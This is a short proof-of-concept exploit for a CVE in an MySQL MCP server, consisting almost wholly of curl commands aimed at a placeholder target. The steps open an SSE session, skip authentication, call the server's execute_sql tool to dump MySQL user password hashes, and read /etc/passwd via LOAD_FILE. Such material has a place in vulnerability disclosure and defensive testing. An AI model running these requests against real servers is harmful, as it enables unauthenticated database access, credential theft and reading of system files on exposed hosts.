CVE-2026-59971: mysql-mcp-server Unauthenticated SQL Execution via Missing Origin and Host Validation

# Step 1: open the SSE stream (get a session endpoint)
curl -N http://TARGET:8000/sse &
# (read the returned endpoint path, e.g. /messages/?session_id=SESSION_ID)

# Step 2: send an unauthenticated MCP initialize handshake
curl -s -X POST http://TARGET:8000/messages/?session_id=SESSION_ID \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}'

# Step 3: invoke execute_sql with arbitrary SQL -- no credentials needed
curl -s -X POST http://TARGET:8000/messages/?session_id=SESSION_ID \
  -H 'Content-Type: application/json' \
  -d '{
    "jsonrpc": "2.0",
    "id": 2,
    "method": "tools/call",
    "params": {
      "name": "execute_sql",
      "arguments": {
        "query": "SELECT user, host, authentication_string FROM mysql.user"
      }
    }
  }'

# FILE privilege escalation (if MySQL account has FILE)
curl -s -X POST http://TARGET:8000/messages/?session_id=SESSION_ID \
  -H 'Content-Type: application/json' \
  -d '{
    "jsonrpc": "2.0",
    "id": 3,
    "method": "tools/call",
    "params": {
      "name": "execute_sql",
      "arguments": {
        "query": "SELECT LOAD_FILE('/etc/passwd')"
      }
    }
  }'